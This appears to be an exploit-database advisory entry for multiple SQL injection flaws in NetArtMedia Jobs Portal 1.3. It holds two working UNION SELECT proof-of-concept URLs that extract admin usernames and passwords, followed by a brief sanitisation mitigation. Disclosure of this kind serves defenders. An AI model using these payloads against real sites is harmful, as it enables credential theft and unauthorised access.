vendor:
Jobs Portal
by:
R4Q!4N H4CK3R
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Jobs Portal
Affected Version From: 1.3
Affected Version To: 1.3
Patch Exists: YES
Related CWE: N/A
CPE: a:netartmedia:jobs_portal
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008
NetArtMedia Jobs Portal 1.3 Multiple Sql Injection Vulnerabilities
NetArtMedia Jobs Portal 1.3 is vulnerable to multiple SQL injection vulnerabilities. An attacker can exploit these vulnerabilities to gain access to sensitive information such as usernames and passwords. The vulnerable files are index.php and login.php. The PoC for the exploit is /index.php?mod=search&job=-666 union select 1,2,3,4,5,username,password,8,9,10,11,12,13,14 from websiteadmin_admin_users and /index.php?page_id=-1&news_id=-666 union select 1,2,username,password,5,6 from websiteadmin_admin_users.
Mitigation:
Ensure that user input is properly sanitized and validated before being used in a SQL query.
